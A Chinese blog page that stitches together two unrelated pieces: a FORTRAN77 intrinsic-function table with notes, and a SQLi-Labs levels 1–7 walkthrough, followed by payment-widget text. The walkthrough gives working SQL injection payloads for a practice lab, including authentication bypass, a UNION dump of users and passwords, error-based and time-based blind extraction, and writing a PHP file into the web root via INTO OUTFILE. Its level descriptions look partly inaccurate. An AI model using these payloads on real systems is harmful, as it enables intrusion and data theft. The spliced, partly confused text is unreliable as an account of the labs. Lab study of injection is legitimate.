fortran内部函数

FORTR77内部函数

功 能
通用名
专用名
参 数
个 数
类 型
参数
函数




INT
1
i
i
INT
r
i
IFIX
r
i
IDINT
d
i
c
i




REAL
REAL
1
i
r
FLOAT
i
r
r
r
SNGL
d
r
c
r
转换成
双精度型
DBLE
1
i
d
r
d
d
d
c
d




CMPLX
1
i
c
r
c
d
c
c
c
转换成字符
 
CHAR
1
i
c
转换成整数
 
ICHAR
1
c
i
截 去
小数部分
AINT
AINT
1
r
r
DINT
d
d
舍入到最
接近的整数
ANINT
ANINT
1
r
r
DNINT
d
d
舍入到最
近的整型数
NINT
NINT
1
r
i
IDNINT
d
i
取绝对值
ABS
LABS
1
i
i
ABS
r
r
DABS
d
d
CABS
c
r
求 余
MOD
MOD
2
i
i
AMOD
r
r
DMOD
d
d
符号传送
SIGN
ISIGN
2
i
i
SIGN
r
r
DSIGN
d
d
正 差
DIM
IDIM
2
i
i
DIM
r
r
DDIM
d
d
双精度乘
 
DPROD
2
r
d
求虚部
 
AIMAG
1
c
r
求共轭
 
CONJG
1
c
c
选最大值
MAX
MAX0
>=2
i
i
MAX1
r
r
DMAX1
d
d
AMAX0
 
i
r
MAX1
r
i
选最小值
MIN
MIN0
>=2
i
i
MIN1
r
r
DMIN1
d
d
AMIN0
 
i
r
MIN1
r
i
平方根
SQRT
SQRT
1
r
r
DSQRT
d
d
CSQRT
c
c
指 数
EXP
EXP
1
r
r
DEXP
d
d
CEXP
c
c
自然对数
LOG
ALOG
1
r
r
DLOG
d
d
CLOG
c
c
常用对数
LOG10
ALOG10
1
r
r
DLOG10
d
d
正 弦
SIN
SIN
1
r
r
DSIN
d
d
CSIN
c
c
余 弦
COS
COS
1
r
r
DCOS
d
d
CCOS
c
c
正 切
TAN
TAN
1
r
r
DTAN
d
d
反正弦
ASIN
ASIN
1
r
r
DASIN
d
d
反余弦
ACOS
ACOS
1
r
r
DACOS
d
d
反正切
ATAN
ATAN
1
r
r
DATAN
d
d
ATAN2
ATAN2
2
r
r
DATAN2
d
d
双曲正弦
SINH
SINH
1
r
r
DSINH
d
d
双曲余弦
COSH
COSH
1
r
r
DCOSH
d
d
双曲正切
TANH
TANH
1
r
r
DTANH
d
d
求串长度
 
LEN
1
ch
i
子串下标
 
INDEX
2
ch
i




ch1>=ch2 
LGE
2
ch
l
ch1>ch2 
LGT
2
ch
l
ch1<=ch2 
LLE
2
ch
l
ch12 
LLT
2
ch
l
1.在上述内部函数一览表中,参数和函数值的类型以下述记号表示:
i:整型ch:字符型irdc:整型、实型、双精度型或复型
r:实型rd:实型或双精度型L:逻辑型
d:双精度型ird:整型、实型或双精度型  
c:复型rdc:实型、双精度型或复型  
2. 通用名和专用名的说明:
在FORTRAN77中,函数专用名的自变量类型有严格要求,必须按规定给出自变量的类型;而在使用函数通用名时,只要保证自变量有意义,对类型没有严格要求;因此,函数的通用名具有通用性。
3. 函数使用中的说明:
(1)CHAR(i) 取FORTRAN提供的字符序列中第i个字符。
ICHAR(ch) 是CHAR的逆函数。
(2)MOD(x 1,x 2) 取x 1和x 2的余数,其中x 1是被除数,x 2是除数。
(3)SIGN(x 1,x 2) 函数值取x 2的符号,取x 1的绝对值。
(4)DIM(x 1,x 2) 当x 1>x 2时,得x 1-x 2;当x 1<=x 2时,函数值为0。
(5)LGE(c 1,c 2) c 1,c 2均为字符型,当c 1>=c 2时,函数值得‘真’,否则得‘假’。LGT,LLE,LLT函数的用法相似。
(6)所有三角函数的自变量的单位为弧度,反三角函数所得函数值的单位亦为弧度。
(7)SQRT函数的自变量不得为负数。求对数函数LOG、LOG10的自变量不得小于等于零。


转自:http://blog.sina.com.cn/s/blog_bb8584020101bqy1.html
### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中,目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数,可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数,则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时,可采用时间延迟技术来进行推测性的注入测试。例如,如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念,在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件写入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值